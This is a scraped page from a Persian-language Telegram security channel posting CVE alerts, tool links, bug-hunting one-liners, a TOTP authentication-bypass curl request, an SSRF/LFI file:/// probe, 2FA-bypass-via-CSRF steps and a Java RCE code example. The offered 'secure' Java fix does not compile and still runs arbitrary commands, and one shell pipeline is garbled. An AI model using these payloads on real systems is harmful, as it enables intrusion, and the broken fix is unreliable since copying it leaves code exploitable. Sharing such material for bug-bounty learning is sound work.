NEW BOT Телеграм, страница

Mandegar SEC🎩

چک لیست امنیت API🛡:
چک لیستی از مهمترین اقدامات متقابل امنیتی هنگام طراحی، آزمایش و انتشار API شما.

https://github.com/shieldfy/API-Security-Checklist

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#cybersecurity #api #hacking #bughunting

❤10👍2

525 views08:09

Mandegar SEC🎩

یکی از اینفلوئنسرهای حوزه Ai بنام Robin Eber سایت پایین رو ساخته که بصورت رایگان، پرامپت شما رو آنالیز میکنه و بهش نمره میده.
بهتون میگه که آیا پرامپتتون رو خوب نوشتید یا نه و اگر نه، ایرادش کجاست و چطور میتونید بهترش کنید که بهترین خروجی ممکن رو بگیرید.
https://coach.robinebers.com/

Robinebers

Robin Ebers' AI Prompt Coach

Write AI coding prompts that actually work in 30 seconds. 15 proven principles from OpenAI and Anthropic's research teams.

❤6👍1

559 views08:30

Mandegar SEC🎩

🚨 3 critical/high FreePBX vulnerabilities disclosed

CVE-2025-66039: Authentication bypass
CVE-2025-61675: SQL injection
CVE-2025-61678: File upload leading to RCE

detection noscripts for these vulns:

https://github.com/rxerium/FreePBX-Vulns-December-25

https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤4🏆1

592 viewsedited 11:53

Mandegar SEC🎩

THC Release 💥: The world’s largest IP<>Domain database: https://ip.thc.org

All forward and reverse IPs, all CNAMES and all subdomains of every domain. For free.

Updated monthly.

Try: curl https://ip.thc.org/1.1.1.1

Raw data (187GB): https://ip.thc.org/docs/bulk-data-access

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤8🍌2

608 views15:07

Mandegar SEC🎩

شب یلداتون مبارک باشه دوستان❤️

❤7🍌2

626 views15:09

Mandegar SEC🎩

🤖 Offensive-AI-Agent-Prompts :

یه ریپو که یاد میده چطور از هوش مصنوعی به‌ عنوان Agent امنیتی استفاده میشه ، نه فقط یه چت‌بات معمولی.
پرامپت‌ ها طوری طراحی شدن که با AI تست نفوذ، تحلیل آسیب‌پذیری و بررسی امنیتی چجور انجام میشه .

#Ai :
ChatGPT، Gemini-CLI، DeepSeek، Cursor AI، Claude Code و Copilot
-> Pentester، Bug Hunter , Blue Team , red team

https://github.com/CyberSecurityUP/Offensive-AI-Agent-Prompts

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

4👍8🏆2

2.23K viewsedited 10:01

Mandegar SEC🎩

🤖 Offensive-AI-Agent-Prompts : یه ریپو که یاد میده چطور از هوش مصنوعی به‌ عنوان Agent امنیتی استفاده میشه ، نه فقط یه چت‌بات معمولی. پرامپت‌ ها طوری طراحی شدن که با AI تست نفوذ، تحلیل آسیب‌پذیری و بررسی امنیتی چجور انجام میشه . #Ai : ChatGPT، Gemini-CLI،…

وای بچه ها مرسییییییییییی واقعاااا برا استارز😍😍😍😘😘😘😘

❤6🍌4

547 viewsarmita, edited 12:23

Mandegar SEC🎩

one liner automation :😎

CSP Bypass Check :

cat alive.txt | httpx -silent -include-response-header | grep -i cat urls.txt | qsreplace 'param=value1&param=value2' | httpx -silent -mc 200

WordPress Enumeration :

cat alive.txt | httpx -silent -path /wp-json/wp/v2/users -mc 200 |anew wp_users.txt

☠️ Mass PTR lookup

prips 192.168.1.0/24 | xargs -P50 -I@ sh -c 'host @ 2>/dev/null | grep "pointer" | cut -d" " -f5' | sed 's/\.$//' | anew ptr_subs.txt

Exposed Admin Panels

cat alive.txt | httpx -silent -path /admin,/administrator,/admin.php,/wp-admin,/manager,/phpmyadmin -mc 200,301,302 | anew admin_panels.txt

💀 Find Hidden Admin Routes in JS

cat js.txt | xargs -I@ curl -s @ | grep -oE "[\"\'][/][a-zA-Z0-9_/-]*(admin|dashboard|manage|config|settings|internal|private|debug|api/v[0-9])[a-zA-Z0-9_/-]*[\"\']" | tr -d "\"'" | sort -u | anew hidden_routes.txt

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤5🍌1

713 views14:31

Mandegar SEC🎩

CVE-2025-66489 - Authentication Bypass via TOTP Code Presence

curl -X POST http://localhost:3001/api/auth/callback/credentials
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b cookies.txt \
  -c cookies.txt \
  -d "csrfToken=<TOKEN>&email=free@example.com&password=WRONG&totpCode=123456"

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤6

661 views15:15

Mandegar SEC🎩

Forwarded from GO-TO CVE (| | Sharo K h | |)

ای آدمای ناموفق

❤8

477 views15:16

Mandegar SEC🎩

sanitizer ها
ممکن است به <https://> اجازه دهند فکر کند که این یک لینک خودکار Markdown است. اما اگر به جای یک تگ anchor به صورت HTML خام رندر شود، به یک بردار XSS تبدیل می‌شود.

در این PoC، مرورگر یک تگ https: سفارشی ایجاد می‌کند و اجزای URL را به عنوان ویژگی‌های HTML تجزیه می‌کند.

https://storage.googleapis.com/nowaskyjr/xss-url-like-poc1.html

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤3👍2🏆2

612 viewsMandegar, 06:37

Mandegar SEC🎩

اگر در حال بررسی سرور IIS ویندوز هستید
یک فایل پیش‌فرض وجود دارد که می‌توانید از آن برای بررسی SSRF یا LFI استفاده کنید:
C:\inetpub\wwwroot\iisstart.png

example : foo?url=file:///C:/inetpub/wwwroot/iisstart.png.

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

👍4🏆1

699 views07:12

Mandegar SEC🎩

the-art-of-pivoting.pdf

16.6 MB

The Art of Pivoting
تکنیک‌ هایی برای تحلیلگران اطلاعات جهت کشف روابط جدید در جهانی پیچیده.

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#pivoting #opensource #cti #threatintelligence #misp

❤4🏆2

522 views09:33

Mandegar SEC🎩

Zero Trust Security Key Concepts

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

🏆3❤1🍌1

550 views09:33

Mandegar SEC🎩

🚨 هشدار فوری

یک آسیب‌پذیری اجرای کد از راه دور (RCE) با شدت بحرانی (CVSS: 9.9) در پلتفرم اتوماسیون n8n شناسایی شده است.

این نقص امنیتی با شناسه CVE-2025-68613 ثبت شده و به کاربران احراز‌شده اجازه می‌دهد کد دلخواه اجرا کنند؛
موضوعی که میتواند به تصاحب کامل سرویس، دسترسی به داده‌ها و اجرای دستورات سیستمی منجر شود.

بر اساس گزارش‌ها، بیش از 103 هزار نمونه در معرض اینترنت در سطح جهان شناسایی شده‌اند که ریسک سوءاستفاده را به‌شدت بالا می‌برد.

در صورت استفاده از n8n، بررسی و اعمال اصلاحات امنیتی در اولویت فوری قرار دارد.

جزئیات بیشتر:
https://thehackernews.com/2025/12/critical-n8n-flaw-cvss-99-enables.html

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#N8N #CVE_2025_68613 #RCE #SecurityAlert

2👍7🍌1

1.4K viewsedited 10:03

Mandegar SEC🎩

This media is not supported in the widget

VIEW IN TELEGRAM

❤5🍌3🏆2

556 viewsarmita, edited 12:56

Mandegar SEC🎩

اگه با Cloud Storageها کار می‌کنی، احتمالاً به rclone نیاز داری.
ابزاری برای بکاپ، سینک و مایگریشن که به‌صورت rsync-like بین کلود استوریج‌ها کار می‌کنه.

ریپو گیت هاب: http://github.com/rclone/rclone

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

🍌4❤3

540 views16:23

Mandegar SEC🎩

2FA Bypass via CSRF:🍸

1. Create two Account attacker@test.com & victim@test.com

2. Login as Attacker and capture the 2FA disable request.

3.Create or Generate a CSRF PoC & save as .html

4.Now login with victim account and execute CSRF Poc.

5.2FA disabled successfully & attacker able to bypass the 2FA.

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

❤4🍌2🏆1

524 views08:16

Mandegar SEC🎩

🚨 یک کمپین spearphishing هدفمند :

در طول پنج ماه، ۲۷ بسته مخرب npm منتشر کرده که به‌عنوان زیرساخت میزبانی پایدار برای صفحات فیشینگ اجراشونده در مرورگر عمل می‌کنند. این بسته‌ها صفحات دروغین شبیه پورتال‌های به‌اشتراک‌گذاری سند و صفحه ورود مایکروسافت را نمایش می‌دهند و برای سرقت اطلاعات ورود کارکنان سازمان‌های صنعتی و بهداشتی در آمریکا و کشورهای هم‌پیمان طراحی شده‌اند
🔎source

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

Socket

Spearphishing Campaign Abuses npm Registry to Target U.S. an...

A five-month operation turned 27 npm packages into durable hosting for browser-run lures that mimic document-sharing portals and Microsoft sign-in, ta...

2❤5🍌2🏆1

1.07K viewsedited 13:31

Mandegar SEC🎩

👾در اینجا مثالی از کد جاوا که در برابر حمله اجرای کد از راه دور (RCE) آسیب‌پذیر میباشد، آورده شده.👾

🥺 Vulnerable Code :

import java.io.*;

public class RCE {
public static void main(String[] args) throws Exception {

// Vulnerable code: user input is directly passed to the system command
Process p = Runtime.getRuntime().exec(args[0]); // args[0] can be manipulated by attacker
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
}
}

این برنامه از متد"Runtime.getRuntime().exec()" برای اجرای یک دستور سیستمی که به عنوان آرگومان به برنامه ارسال می‌شود، استفاده میکند. این دستور از طریق پارامتر "args[0]" که برای مهاجم قابل دسترسی است، به برنامه ارسال میشود.

😎 Secure Code :
در اینجا نسخه‌ای از همان کد وجود دارد که در برابر حمله اجرای کد از راه دور (RCE) ایمن شده است :

import java.io.*;
import java.util.regex.*;

public class RCE {
public static void main(String[] args) throws Exception {

// Secure code: user input is sanitized using regex to only allow approved commands
String pattern = "^[A-Za-z0-9_-]*$"; // regex for approved commands

Pattern p = Pattern.compile(pattern);
Matcher m = p.matcher(args[0]);
if (!m.matches()) {
System.out.println("Invalid command");
return;
}

Process p = Runtime.getRuntime().exec(args[0]);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
}
}

“Process p = Runtime.getRuntime().exec(args[0]);”

در کد اصلی آسیب‌ پذیر بود، به مهاجم اجازه میدهد تا کد دلخواهی را بر روی سرور اجرا کند. در کد امن، ورودی کاربر ابتدا با یک الگوی regex بررسی میشود تا مطمئن بشود این ورودی واقعا یه دستور مجازه، بعد اجراش کند

برای دریافت به‌روزرسانی‌های امنیتی روزانه، و اخبار امنیت سایبری مارو به عنوان منبع مورد نظر خود دنبال کنید ->❤️💻
GROUP ™️
@mandegar_sec | channel

#secure_coding #bug_bounty #bugbounty

1❤4👍2

1.1K viewsedited 16:37

About

Blog

Apps

Platform